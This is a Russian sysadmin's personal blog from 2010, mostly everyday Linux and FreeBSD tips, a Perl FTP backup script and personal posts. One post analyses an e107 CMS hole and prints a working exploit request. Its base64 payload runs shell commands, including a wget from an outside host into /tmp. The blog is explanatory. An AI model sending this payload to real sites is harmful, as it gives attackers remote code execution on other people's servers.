четверг, 30 декабря 2010 г.

понедельник, 20 декабря 2010 г.

Не прошло и месяца как Qiwi родил.

Наконец-то Киви положили на Йоту мою денежку, скормленную их автомату ровно 3 недели назад.
История такова:
Положил 27 ноября деньги через автомат.
Спустя 2 дня деньги не поступили. Звоню - у меня спрашивают все поля квитанции, говорят, подождите 2 дня.
Звоню 2 декабря, мне говорят, мол, запрос ещё обрабатывается, это занимает до 3х дней.
Звоню 4 декабря - мне говорят, что надо звонить туда-то в отдел претензий. Звоню в претензии, там меня посылают обратно за номером заявки - оказалось, что в справочной девушка меня просто слила. Перезваниваю, там оформляют заявку, с этой заявкой опять звоню в претензии. Там мне говорят, что автомат отвалился от сети, но продолжал принимать платежи. Владельцу автомата написали почти неделю назад и он ещё не ответил, но дескать на след.неделе будут вызванивать.
Нормально так - ждут неделю неизвестно чего, вместо того чтобы позвонить, стеснительные, блин.
Звоню 11 декабря, спрашиваю, как там мой платёж. А мне говорят, да никак, владелец автомата по логам платежи ручками проводит.
Дали номер владельца. Сказали, звоните сюда, тогда платёж пройдёт быстрее. В течение след. недели пытался позвонить неск. раз - то занято, то не берут.
В итоге дозвонился 20 числа, прочитал все данные с бумажки (кот. переписал с квитанции, кот. почти выцвела). Говорят - пришлите скан. Я отвечаю, что на квитке пара строк видна, остальное пропало. Нет, присылайте, только тогда проведём оплату. Отправил, провели.

Блияч, 3 недели мурыжила клиентская, плюс получается, что автомат, будучи сломанным, продолжает хавать деньги и говорить, что всё ок.

В общем, нах эту Киви, последний раз их услугами пользовался.

воскресенье, 5 декабря 2010 г.

Суммирование вывода

Вывод передаём авк и суммируем нужный столбец:
awk '{sum += $1} END {print sum}'

четверг, 2 декабря 2010 г.

Тормозная клава

После апдейта стала тормозить клава, точнее autorepeat.
Исправляется:
# xset -r rate 200 30
первое - delay, второе -rate.
В ксорге за это Autorepeat отвечает.

вторник, 30 ноября 2010 г.

понедельник, 29 ноября 2010 г.

/boot/grub/stage1 not read correctly

Столкнулся с проблемой:
В Генте создаю ext3, синкаю на неё раздел с центоса, пытаюсь воткнуть граб и откуриваю болт:
 The file /boot/grub/stage1 not read correctly.
Логи показали:
 dump (hd0,0)/boot/grub/stage1 /tmp/grub-install.img.CVsd  Error 2: Bad file or directory type

Как выяснилось, это из-за размера айнодов. В центосе ext3 создаётся с размером айнода 128, а по дефолту Гента мне сделала 256.
Мораль - если ФС создаём руками - то говорим -I 128

Дико выручила ссылка:
http://phpsuxx.blogspot.com/2010/11/dump-hd01grubstage1-tmpgrub.html
Там расписано, отчего так.
PS
Решение проблемы еле нашёл, весь инет засран постами криворуких убунтистов, которые маны не читают, а постят лоховские вопросы. И которые гуголь весьма хорошо индексирует.

понедельник, 22 ноября 2010 г.

Zend repo

cat /etc/yum.repos.d/zend.repo:

[Zend]
name=Zend Server
baseurl=http://repos.zend.com/zend-server/rpm/$basearch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key

[Zend_noarch]
name=Zend Server - noarch
baseurl=http://repos.zend.com/zend-server/rpm/noarch
enabled=1
gpgcheck=1
gpgkey=http://repos.zend.com/zend.key

пятница, 19 ноября 2010 г.

Пр большие стройки в родном Отечестве

Тут на просторах интернетов набрёл на весьма интересную историю про строительство нефтепровода: http://navalny.livejournal.com/526563.html
Я привык ничему в нашей стране не удивляться, но тут просто хуею.

суббота, 13 ноября 2010 г.

Запрещённые .рф домены.

Руцентр заявил примерно следующее:
в качестве доменного имени не допускается регистрация слов противоречащих общественным интересам, принципам гуманности и морали (в частности, слова непристойного содержания, призывы антигуманного характера, оскорбляющие человеческое достоинство либо религиозные чувства и т.д.)

Ссылко на блеклист

Некоторые домены вполне себе нормальные имена. Интересно, кто список составлял ))

четверг, 11 ноября 2010 г.

SSH host key generate.

Ну вот как-то так. По крайней мере, так в федоре делают.

ssh-keygen -q -t dsa -f /etc/ssh/ssh_host_dsa_key -C '' -N ''
ssh-keygen -q -t rsa -f /etc/ssh/ssh_host_rsa_key -C '' -N ''
ssh-keygen -q -t rsa1 -f /etc/ssh/ssh_host_key -C '' -N ''
chmod 600 /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_key
chmod 644 /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key.pub

среда, 10 ноября 2010 г.

LA контейнеров

Теперь по-другому делаю:
for a in `vzlist | awk '{print $1}' | grep "^[0-9]"`;do echo "$a:  `vzctl exec $a cat /proc/loadavg`";done

воскресенье, 7 ноября 2010 г.

Новая Федора

И вот проспав все праздники/выходные я прощёлкал выход Fedora 14.
Ну что, пора готовиться к апдейту )

пятница, 22 октября 2010 г.

rfc 1912

Блин, сёни обыскался, в каком rfc упоминается, что dns сервера должны быть в разных подсетях.  Нашёл ) Правда, формулировка там немного другая:

http://www.faqs.org/rfcs/rfc1912.html

суббота, 16 октября 2010 г.

Big bang theory

Сабж становится всё унылее, а шутки тырят с xkcd.com
Уж лучше бы его просто прикрыли

среда, 13 октября 2010 г.

27 км

Несколько товарищей запустили на воздушном шарике камеру на высоту 27 км. Вот что у них вышло:


Homemade Spacecraft from Luke Geissbuhler on Vimeo.

вторник, 12 октября 2010 г.

Приехали джуники))

Вот они, Фрай и Лила )) :








понедельник, 11 октября 2010 г.

Голактеко опасносте!!! Терабитные ддосэ!!!

За последний месяц все как с ума посходили с ддосами - кричат, как их долбят гигабитными, 10 гигабитными, 100 гигабитными и 300 гигабитными ддосами. При этом одни (хабра) показывают мгртшный скрин, на котором трафика 20 мегабит, другие орут, как их пытаются убивать чуть ли не полутерабитным  ддосом, мол "интернет такой атаки ещё не видел". При этом у всех каналы от 100 мегабит до гигабита, а узнают они о таких масштабах дескать от провов )))
При этом обосновать возможность 300 гигабитного ддоса пиплы не в состоянии, размахивают какой-то выдранной из контекста картинкой.
В общем, народ пеариццо как может - типа, вот мы какие чОткие, что нас всеми интернетами мочат, а мы крепчаем ))

Ололо! перлы возрождаются в новом облике

Свежий перл от Дениса:
Базы данных MSSQL может только Артур восстанавливать. Мы не имеем доступ к
контрольной панели MSSQL. Видимо, там делается всё через ssh :)

понедельник, 4 октября 2010 г.

Hard'2b'Core 2010

Я был там!!! Рассказывать про сабж бессмысленно, ибо там надо было побывать и прочувствовать вживую спидкор от ого родоначальников. На g-sector'е уже потихоньку выкладываются фотки

вторник, 28 сентября 2010 г.

Мораль

Если что-то работает - не трогай это. Путь работает. Не надо пытаться улучшить, если нет резерва. В этот раз повезло и не залип на всё ночь, но адреналина хватило )

понедельник, 27 сентября 2010 г.

di.fm

Замечательная штука, сабж )
Я когда-то в амароке их эмбиент канал врубал. А тут вот заглянул, нашёл габбер канал, включил - и правда габбер. А вот его-то кстати и захотелось на днях. Между прочим, на последнем A Nigthmare Outdoor парочку неплохих вещей нарыл.

суббота, 25 сентября 2010 г.

Они в Москве!!!

Gabba Front Berlin. 2 октября.
А ещё будут Bonehead, The Massacre и Jensen.

четверг, 9 сентября 2010 г.

Ротация бекапов

Доделал скрипт для хранения и ротации бекапов. Из костыля к fsbackup оформилось что-то полноценное.
Можно отправлять несколько файлов, пример:
/root/scripts/store.pl /root/scripts/mybase.sql.gz backup.tar.gz
В сам скрипт забиваются реквизиты ftp сервера и глубина ротации.

#!/usr/bin/perl

use Net::FTP;
use File::Basename;


my $remote_host = "localhost";
my $remote_login = "backup";
my $remote_password = "yeyzfz200";
my $n = 12;
my $path;
my $file;

$ftp = Net::FTP->new($remote_host) || die "Can't connect to ftp server.\n";
$ftp->login($remote_login, $remote_password) || die "Can't login to ftp server.\n";
$ftp->binary();


while ($path = shift @ARGV) {
        my $file = basename($path);
        # old backup deleting
        print "Remove old backup\n";
        foreach $cur_dir ($ftp->ls()) {
                if ($cur_dir eq $file.".".($n - 1)) {                                                                                                       
                        $ftp->delete($cur_dir);                                                                                                             
                }                                                                                                                                           
        }                                                                                                                                                   
        # backup rotate                                                                                                                                     
        print "Backup rotating:\n";                                                                                                                         
        for ($i = $n - 2; $i > 0; --$i) {                                                                                                                   
                $j = $i + 1;                                                                                                                                
                foreach $cur_dir ($ftp->ls()) {                                                                                                             
                        $name = $new_name = $cur_dir;                                                                                                       
                        if ($name eq $file.".".$i) {                                                                                                        
                                $new_name =~ s/\.$i$/\.$j/;                                                                                                 
                                print "$name -> $new_name\n";                                                                                               
                                $ftp->rename($name, $new_name);                                                                                             
                        }                                                                                                                                   
                }                                                                                                                                           
        }                                                                                                                                                   
        foreach $cur_dir ($ftp->ls()) {                                                                                                                     
                $name = $new_name = $cur_dir;                                                                                                               
                if ($name eq $file) {                                                                                                                       
                        $new_name = $name.".1";                                                                                                             
                        print "$name -> $new_name\n";                                                                                                       
                        $ftp->rename($name, $new_name) or die "Can't rename $name\n";                                                                       
                }                                                                                                                                           
        }                                                                                                                                                   
                                                                                                                                                            
        $ftp->put("$path", "$file") || print "Can't PUT $path to remote FTP";                                                                               
}

среда, 8 сентября 2010 г.

mysql: Host is blocked because of many connection errors;

Вот такое жизнерадостное сообщение порой можно получить от MySQL:
Host 'example.com' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
Связано вот с чем. У мускуля имеется своего рода защита от брутфорса - параметр max-connection-error. Как только число ошибок станет больше допустимого - хост блочится.
Пример из практики. Человек в скрипте указал пользователя, не имеющего доступа к базе, к которой собственно и был коннект. Несколько раз получил сообщение, что не выбрана база, а потом - Host blabla.de is blocked и т.д.
Тут, между прочим, широкие возможности открываются ;)

Собственно,  дабы сбросить блокировку надо выполнить:
mysqladmin flush-hosts

четверг, 26 августа 2010 г.

Замена подстроки в файле седом во фряхе и лине

$ sed -i '' -e 's/string1/string2/' file
если после -i '' не поставить апострофы - то получим копию файла с -e на конце.
А в лине такого изврата с копиями нет )) там просто
$ sed -i 's/string1/string2/' file

PHP from source

Последнее время часто приходится сталкиваться с nginx + php-fpm.
php-fpm для ветки 5.2 идёт как патч, поэтому пыхпых приходится руками собирать.
Решил свои действия, наконец, на бумажку записать )

Поехали. Качаем, патчим:
wget http://ru2.php.net/get/php-5.2.12.tar.gz/from/this/mirror
wget http://php-fpm.org/downloads/php-5.2.12-fpm-0.5.13.diff.gz
tar xzf php-5.2.12.tar.gz
gzip -cd php-5.2.12-fpm-0.5.13.diff.gz | patch -d php-5.2.12 -p1
Собираем ядро php:

./configure \
  --prefix=/usr/local/php \
  --exec-prefix=/usr/local/php \
  --sysconfdir=/etc \
  --enable-fastcgi \
  --enable-fpm \
  --with-fpm-conf=/etc/php-fpm.conf \
  --with-fpm-log=/var/log/php-fpm.log \
  --with-fpm-pid=/var/run/php-fpm.pid \
  --with-libdir=/lib64 \
  --with-config-file-path=/etc \
  --with-config-file-scan-dir=/etc/php.d \
  --enable-dom \
  --enable-xml
make install
dom и xml можно отсюда выкинуть, просто мне так нужно было.

Дальше в scripts/php-config надо поправить строку --extensions-dir, дабы модули лежали в более удобном месте.
Кладём  php.ini в /etc и меняем в нём путь к модулям на наш.

Cобираем модули:

cd /root/build/php-5.2.12/ext/mysql
/usr/local/php/bin/phpize
./configure --prefix=/usr/local/php \
  --exec-prefix=/usr/local/php \
  --sysconfdir=/etc \
  --enable-fastcgi \
  --enable-fpm \
  --with-fpm-conf=/etc/php-fpm.conf \
  --with-fpm-log=/var/log/php-fpm.log \
  --with-fpm-pid=/var/run/php-fpm.pid \
  --with-libdir=/lib64 \
  --with-config-file-path=/etc \
  --with-config-file-scan-dir=/etc/php.d \
  --enable-dom \
  --enable-xml \
  --with-mysql=shared \
  --with-php-config=/root/build/php-5.2.12/scripts/php-config
make install
echo "extension=mysql.so" > /etc/php.d/mysql.ini
По аналогии собираем другие компоненты.
В во время сборки на понадобятся разные сорсы, gcc и autoconf. В правильных дистрах просто доставляем нужные devel пакеты.

nginx htpasswd

В нужный локейшн добавляем:
        auth_basic            "auth required";
        auth_basic_user_file  /etc/nginx/htpasswd;
В  /etc/nginx/htpasswd вставляем:
login:hash

Генерим: htpasswd -n login

среда, 25 августа 2010 г.

пыхпых моя админ!

Никогда не любил phpmyadmin. Сегодня в очередной раз убедился, какой это хлам. Консольный mysql - это наше всё. Вебмин тоже годится. И Mysql Workbench. А phpmyadmin - для нищебродов, которые всякими денверами пользуются.
Воть.

среда, 18 августа 2010 г.

Отбор GET запросов

tcpdump -nnp -vv -s 1500 -c 10000 -X  dst host xxx.xxx.xxx.xxx and "tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420"

понедельник, 2 августа 2010 г.

Как ломают e107 < 0.7.21

Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
 Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]
И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):

POST /e107/contact.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259

send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb21haW4ub3JnL2hlbGxvLnR4dDsK"))%3Bdie%28%29%3B%5B%2Fphp%5D
Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))

Тестировал на CentOS + nginx + php-fpm

четверг, 29 июля 2010 г.

Про e107

E107 продолжают ломать, подсаживают через неё ботов. Для выявления поломанных помогает только CGI. Вчера прочесал несколько серверов в поисках аккаунтов, использующих e107 версии ниже 0.7.22 и перевёл их на CGI. Сегодня темпы проверяю - воооот, сразу видно, через кого подложили:

[root@xxxxx ~]$ ls -lh /tmp/ | egrep '\.(txt|pl|php|xp|c|1|2)$'
-rw-r--r--  1 xxx571    wheel       27K Jul 29 11:44 perl.txt

Восьмая

Вот ворота и распечатаны:


четверг, 22 июля 2010 г.

Новая стойка

Съели ещё одну стойку ) Скоро восьмую начнём.
За фотки схватил люлей от охраны, теперь придётся разрешения спрашивать.
Седьмая стойка:







А это просто наши ВПСы и сипанели + ещё кой-чего:



И всё вместе:



Ураган и Даталайн

Всё-таки, хоть в м100 и бывают иногда проблемы, но там не так стрёмно, как в Даталайне. Тут в их ДЦ на Боровой завалило все чиллеры металлоломом на 10 тонн, ДЦ колбасило 5 часов, пока чиллеры не починили.
Вообще, что-то им не везёт. Правда, прошлая авария была связана с человеческим фактором:
Свет вырубили, сотрудники запускают дизеля - из 3х стартует 2. Ну да ладно - третий всё равно запасной, стартанули без резерва. Но так, как резервную линию питания походу толком не проверяли - от нагрузки выбило автоматы. ДЦ лежал по разным данным от 40 до 100 минут. Учитывая, что у них там одногруппникиклассники лежат и евроафросеть... недовольство было ппц.
Даже жалко их - ДЦ этому год с копейками, ему ещё года 2 работать на то, чтобы окупиться, а тут то одно, то другое.

Пилснер

Побывал наконец в Пилснере. Как и говорили - Козел там действительно зачООООтный. Очень мягкий и приятный. ))
Приятель из работников бара вытянул, что пиво для них варят не в Чехии, а в Калуге, но под очень жестким контролем.
Пиво действительно вкусное и, как ни странно, недорогое.
Неудивительно, что даже в будний день места лучше заказывать заранее.

PHP

Дожили - в век rpm пакетов приходится собирать пыхпых из сорсов, ибо понадобился именно 5.2.12. В центосовских репозиториях либо 5.1, либо в тестовом 5.2.10. В сторонних - 5.2.13.
Но зато ностальгия какая... )))
# make install && enjoy the party ))

ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.

Двойные стандарты?

Сегодня занесло на ЧП, там увидел, как ребята цветы кладут. Так и узнал, как чеченцы Юру Волкова убили.
Вот что интересно - если принимают русского, убившего гостя Столицы, то ему дают 22 года, а если эти самые выходци из чесни и прочего кавказа убивают русского - то их отпускают под подписку о невыезде, и похоже, всё идёт к тому, что отделаются условным. Как всегда.
А ведь это происходит почти каждый день.
И когда, блять, это прекратится?

четверг, 15 июля 2010 г.

Школота атакует IBM

У меня висит колонка с новостями от IBM Developer Works
В последнее время очень редко бывает желание ткнуть туда - если год назад на русскоязычном сайте появлялось очень много интересных и сильных статей, то сейчас русскоязычная часть сайта превратилась в помойку из унылых статеек, написанных всякой школотой. Например за последние два дня там было выложено аж 4 статьи про установку апач+мускуль+пыхпых на разные дистрибутивы. При том, что этого добра и без того хватает. Скоро, пожалуй, стоит ждать статей про "Запись cd дисков в ubuntu", "Установка пасьянса в xubuntu"  и "Смена обоев в kubuntu".
Ладно, хотя бы родной developerworks остался нормальным ))

среда, 14 июля 2010 г.

FreeBSD и arcconf

Обнаружил неприятный прикол у arcconf, что используется для работы с адаптековскими контроллерами - после отработки команды софтина не завершает работу и приходится делать ^C.
А это не даёт возможность использовать arcconf в скриптах для мониторинга. Тулзу качал с офсайта под верную версию фряхи.
Проблема была решена просто - оказывается, arcconf есть в портах: /usr/ports/sysutils/arcconf )))
Вот портовый работает правильно! )

вторник, 13 июля 2010 г.

Ubuntu - торт )

Прочитал в новостях: одна из фишек ебунты 10.ДваНоль, вернее 10.10 - возможность сделать во время установки веб-камерой свою фотографию и запихать в систему. Фишка охеренная, винда и мак сосут, равно как и товарищи, юзающие не такие гламурные дистры. Ура, Марк! Даёшь к 11 релизу возможность записи и отправки на ютуб пьянки по поводу инстала, прямо во время установки бубунты!!!
А если серьёзно - то в какой же ужас превратили дебиан...

воскресенье, 11 июля 2010 г.

Casper bot search

Недавно писал про сабжевую заразу.
Как и в рассказе уважаемого cppmm, подложили заразу через дырявую e107.
Поймали юзера, у которого была дыра, при помощи подмены wget'а на скрипт, пишущий все переменные в лог. Там и нашли, из какого хомяка эта дрянь пыталась себя скачать.
Причём юзер знал, что его ломали и не удосужился никаких мер принять.
Почитал про саму e107 - это ппц, а не cms. Пример - найдена уязвимость, разработчики выкладывают патченную версию с прикрытой дырой, но почему-то не закрыли дыру на своём офсайте. Результат - сайт вскрыли, подменили линк на дистрибутив цмски, в результате много юзеров скачали себе модифицированную e107 с бекдорами.
Мораль - не надо ставить e107, это плохая вещь.

Почитав про Casper, сложилось впечатление, что атакеут он все cms, но лучше всего ломается e107, особенно через contact.php.
Алсо, дырявость, юзаемая каспером, вроде как в версии e107 0.7.17, обновление до 0.7.22 помогает.
На всякий случай, скачал архив с каспером, может, поразбираю на досуге.

четверг, 8 июля 2010 г.

Как так можно?!

Я, мягко говоря, в удивлении:
# grep md7 /var/log/messages
Jan 31 09:01:19 s19 kernel: md: created md7
Jan 31 09:01:19 s19 kernel: raid1: raid set md7 active with 1 out of 2 mirrors
Jan 31 09:01:19 s19 kernel: md: md7 already running, cannot run sda7
Jan 31 09:01:19 s19 kernel: md: md7 already running, cannot run sda7
Jan 31 09:01:19 s19 kernel: EXT3 FS on md7, internal journal
Jul  1 01:32:25 s19 kernel: md: created md7
Jul  1 01:32:27 s19 kernel: md: md7: raid array is not clean -- starting background reconstruction
Jul  1 01:32:28 s19 kernel: raid1: raid set md7 active with 1 out of 2 mirrors
Jul  1 01:32:49 s19 kernel: md: md7 already running, cannot run sda7
Jul  1 01:33:02 s19 kernel: md: md7 already running, cannot run sda7
Jul  1 01:33:05 s19 kernel: EXT3 FS on md7, internal journal
# mdadm --manage /dev/md7 --add /dev/sda7
mdadm: re-added /dev/sda7

Люди жили с этим полгода и не парились при том, что на этом рэйде был критически важный раздел. Слов нет.

Маркетинг )

Заметил забавную штуку - после публикации фотоотчёта о перезде оборудования Лидерхоста, в гугле сложился расклад:
To м@#$терхост:  курите болт ))))

вторник, 6 июля 2010 г.

Сервак

Тут попросили связку поднять: Apache + PHP + Zend Server + eaccelerator + Tomcat + Orion + Sun's Java + Mysql + Postgre, на центосе.
Как ни странно, eaccelerator отлично лёг ни в какую не ложится на зенд.
Апач кидает корку из-за конфликта аксселератора и оптимайзера.
Если руки дойдут, распишу, как всякие няшки ставил.
В общем, eaccelerator работает при отключённом оптимайзере, то при акселе не работает зенд сервер. Так что приходится выбирать

воскресенье, 4 июля 2010 г.

Unix will never thank you

Он вообще немногословен.
У нас на многих серверах при переключении на рута стоит предупреждение, что огромная власть - это огромная ответственность.
Но, блин, накосячил я тут, несмотря на то, что всё это прекрасно понимаю..
При чистке шаблона сусёвого дгя openvz умудрился выполнить обнуление логов и прибивание хостовых ключей на ноде.
В общем, будет это уроком, напоминанием своего рода.

суббота, 3 июля 2010 г.

Переезд нового оборудования

После покупки ****хоста, решили перевезти оборудование из вебальты к нам в м100. Мишин фоторепортаж http://gallery.me.com/mnasonov

Casper: scan.txt

Столкнулся на работе с заразой. Походу, через дыру в юзерских скриптах работает: качается файлег, исполняется, грузит  систему и мешает апачу, в т.ч. биндить 443 порт.
Статья: http://www.opennet.ru/openforum/vsluhforumID10/4631.html

Убил процессы, файл в /tmp и закрыл фаером порты. Посмотрим, что получится..

вторник, 29 июня 2010 г.

Размер очереди Postfix

Пока родил такой способ:
postqueue -p | egrep '^[A-Z0-9]{12}' | wc -l
Может, потом найду что-нить более нативное.

А вот и нативное:
mailq-stat

пятница, 25 июня 2010 г.

S00vzreboot trouble

Делая темплей opensuse 11.1 для openvz столкнулся с ошибками при chkconfig xxx on|off:

insserv: warning: script 'S02vzquota' missing LSB tags and overrides
insserv: warning: script is corrupt or invalid: /etc/init.d/rc6.d/S00vzreboot
insserv: warning: script 'vzquota' missing LSB tags and overrides
Решение 2 строчки:
insserv ожидает видеть ссылку, а там файл, поэтому перекладываем скрипт и делам симлинк:
# mv /etc/init.d/rc6.d/S00vzreboot /etc/init.d/vzreboot
# ln -s /etc/init.d/vzreboot /etc/init.d/rc6.d/S00vzreboot
Остальный варнинги устраняем, запихнув в скрипты LSB заголовок, например, от крона и подправив его. Заголовок имеет вид:

### BEGIN INIT INFO
# Provides:       cron
# Required-Start: $remote_fs $syslog $time
# Should-Start:   $network smtp
# Required-Stop:  $remote_fs $syslog
# Should-Stop:    $network smtp
# Default-Start:  2 3 5
# Default-Stop:   0 1 6
# Short-Description: Cron job service
# Description:    Cron job service
### END INIT INFO
Убираем лишнее - всё готово )

четверг, 24 июня 2010 г.

ubuntu -> windows

Я плачу:
http://design.canonical.com/2010/06/when-new-users-first-encounter-ubuntu-5-show-stoppers/
Скоро, похоже, убунту окончательно превратят в подобие винды.
Только вопрос возникает - а нужна ещё одна такая поделка?
Виндузятники всё равно шило на мыло не поменяют, а пользователей других дистров это явно не привлечёт.

ЗЫ
А новая убунта серверная (10.04) настолько передовая, что никому нах не нужна, ибо в ней нихера не работает. Приходится некоторые вещи в ней даунгрейдить, подключая кармик.

вторник, 22 июня 2010 г.

Сессия completed!

Четвёртый курс позади! ))
Но без потерь не обошлось, потерял 2 очка, одно - за счёт крайней своеобразности преподавателя при оценке курсовой, и ещё одно - попал к чужому преподу, который начал спрашивать то, что наш не отчитал.
Итого, за четыре года 3 четвёрки. Ну, в принципе неплохо..

По идее, надо начинать писать курсовую за 9 семестр, но пока как-то неохота )

Denver - это зло

Прописная истина - не надо ставить апач с пхп на винду токо из-за того, что это возможно. Потом, при заливке на хостинг, будут всякие сюрпризы. Но всё равно ставят всякие сборки-поделки вместо того, чтобы завести дома пингвина или чёртика, сделать всё как следует и залить на площадку.

понедельник, 21 июня 2010 г.

Про ЖЖ

Заглянул я сейчас в ЖЖ Митрича, посмотреть, что новенького у него. Ничего нового у Женьки не оказалось, я решил проверить - есть интеграция блогов и цапнул "зафрендить". Зафрендить не получилось и меня редиректнули на пагу с популярными ЖЖрастами и их писаниной.
Раньше я считал, что ЖЖ это некая политизированно-фаллометрическая херня, в которой токо и обсуждают политику и меряются пиписьками (и сиськами тоже).
Пробежавшись глазами по топу постов появилась мысль, что на самом деле это некое реалити-шоу, вроде "Люди на унитазе". Все срутся на потеху публике, считают, кто скоко забанил и кто кого игнорит и т.д. Ну, и разумеется, все там политически грамотные и уж они-то точно знают, что и как надо делать.
Сразу вспоминаются товарищи, которые делая вид, что плюются, с жадностью читают этот флуд и потом, опять же плюясь, пытаются донести его до других.

Справедливости ради замечу, что, конечно, не весь ЖЖ такой, есть вполне себе блоги, в которые интересно заглянуть, что-то черкануть.

Пермалинк на оптимайзер

А то вечно логиниться напрягает и wget'ом не скачаешь.
Для нужной версии и платформы поменять соотв. букаффки и циффирки:
http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-x86_64.tar.gz

I'm Johnny! From Holland!

Ура!!! Приехала посылка из Голландии!!! ))))

Жутко бесит

upstart
Вот хер ли ему делать на сервере?! Из-за этой дряни не работает
vzctl start --wait
Как варианты:
  1. заменить upstart на православный init
  2. сделать патч для vzctl
  3. обмануть openvz
  4. забить на --wait

ИМХО, самым правильным будет 3, ибо патч - слишком глобально и неизвестно, где это может сыграть.

суббота, 12 июня 2010 г.

Openair

Впервые сходил на опенэйр )
Хардцоре на свежем воздухе - это круто )) Правда, уйти пришлось на самом интересном месте - перед выступлением Зурга с Гайвером. Ультрариора тоже послушать не удалось (

Но всё равно было весело )) Жду фоток

четверг, 10 июня 2010 г.

ФЛП: GPSS

Наткнулся я тут случайно на свою курсовую полугодичной давности по gpss. Сделал я её тогда за ночь )) Пусть висит )

Надо было смоделировать такую карусель:

Автобус совершает в день N рейсов между пунктами A и B. В течение дня с вероятностью a возможно появление дефекта, при котором автобус может продолжать движение. На устранение дефекта необходимо затратить время одного рейса. Если дефект не устранить, то с вероятностью b возникает поломка, на устранение которой уходит весь оставшийся день.
У водителя, в случае появления дефекта, есть выбор:
1. Устранить дефект.
2. Продолжить движение.

При каком b предпочтителен тот или иной вариант?
a = 0.2, N = 25

Реализовал я это так:

10 INITIAL LS$POLOMKA 0 ; инициализация флага
20 TAB_RES TABLE P1 10 15 2 ; создание таблицы
30 GENERATE 30,,,25 ;генерация N транзактов
40 GATE LR POLOMKA SLOMAN ;проверка флага и соотв. переход
50 TRANSFER .2,,DEFECT ;переход с вероятностью a в DEFECT
60 SUCCESS ASSIGN 1 1 ;запись в параметр успешного значения
70 TABULATE TAB_RES ;запись параметра в таблицу
80 TERMINATE 1 ;завершение
100 DEFECT TRANSFER .1,,LOMAETSA ;переход с вероятностью b в LOMAETSA
110 TRANSFER ,SUCCESS ;переход в SUCCESS
120 LOMAETSA LOGIC S POLOMKA ;поднятии флага POLOMKA
130 SLOMAN ASSIGN 1,25 ;запись в параметр неудачного значения
140 TABULATE TAB_RES ;запись параметра в таблицу
150 TERMINATE 1 ;завершение

Вот, довольно лаконично.

понедельник, 7 июня 2010 г.

innodb

Себе на заметку:
innodb_flush_log_at_trx_commit=2
Эта штука может пригодиться

четверг, 3 июня 2010 г.

Перекодировка в консоли

Есть текст input в cp1251. Надо прочитать его в консоли фряхи или в линя в utf-8.
FreeBSD:
iconv -f cp1251 -t utf-8 input
Linux:
iconv -fcp1251 -tutf-8 input

среда, 2 июня 2010 г.

Про безопасные соединения

OpenSSL Command-Line HOWTO

Самое необходимое:

 

# port 25/TLS; use same syntax for port 587
openssl s_client -connect remote.host:25 -starttls smtp

# port 465/SSL
openssl s_client -connect remote.host:465

# imaps: IMAP over SSL
openssl s_client -connect remote.host:993

# pop3s: POP-3 over SSL
openssl s_client -connect remote.host:995
Иногда может потребоваться указать протокол: -ssl2 или -ssl3

понедельник, 31 мая 2010 г.

Долгожители

Сегодня, 31 мая, на N-ом сервере на 140 дне жизни были зверски убиты  подвергнуты эвтаназии находящиеся в состоянии S процессы 90553 и 90637.
Вскрытие покажет, почему они прожили столь долгие жизни, хотя и находясь в коме.

воскресенье, 30 мая 2010 г.

Первые впечатления от Fedora 13 (RF)

Wimax работает из коробки.
В кедах есть возможность настроить synaptic.
Ноут засыпает на диск и просыпается.

суббота, 29 мая 2010 г.

Fedora 13: подготовка

Бекап хомяка готов, снимаю бекап корня.
Ставить наверно буду завтра, сегодня походу не успею. Как я понял, в 13 Федоре опять не сделали поддержку dom0, но вроде есть специальный костыль.

пятница, 28 мая 2010 г.

Вот такой он сейчас, Интернет

  • Internet Statistics
Autonomous Systems with IPv4 Announcements Observed: 34,960
Autonomous Systems with IPv6 Announcements Observed: 2,290

IPv4 Prefixes Observed: 353,157
IPv6 Prefixes Observed: 3,261

Domains Observed: 135,750,079
Hosting Companies Observed: 18,850

среда, 26 мая 2010 г.

Война макхоста и русоникса

Сегодня весь день наблюдаем, как срутся макхост и русоникс, только и успевали новые ссылки кидать друг другу. Попкорна схавали, что уже не лезет )) Последний раз так весело было, когда должна была выйти сусь то ли 11.1 или 11.2, и на ЛОРе на вопрос: "где скачать?" белка ответил: "нинадо сусе лучше убунту".

Так вот. Русоникс, почуяв что их конкурент вот-вот сдохнет, начал спамить на мобилы клиентов макхоста, что ох хостер скоро загнётся и надо перебираться к ним. В ответ макхост стал писать смски клиентам русоникса.
А потом поехало - всплыли факты переделегирования клиентских доменов, игнорирование запросов на возврат денег, пошла волна самопиара и прочей херни. В итоге получилось: одни кадры (макхост) занимаются по сути кидаловом всех и вся (только одному своему бывшему парнёру должны ~8 млн. р. и сколько ещё они должны людям за непредоставленные услуги), а другие (русоникс) внаглую пытаются из этого что-то выжать какими-то неадекватными способами - заваливая клиентов макхоста спамом, как на мыло, так и на мобилы.

Мораль - нех связываться ни с русоникс, ни с макхост. Ибо эти организации не имеют представления о том, как предоставлять услуги. Да и просто, ИМХО, не порядочны.

воскресенье, 23 мая 2010 г.

Минус один.

Сдали с Ромкой, Славой и Ваней ООП - зачёт, курсовую и экзамен ))
Причём Ф-ой!!!
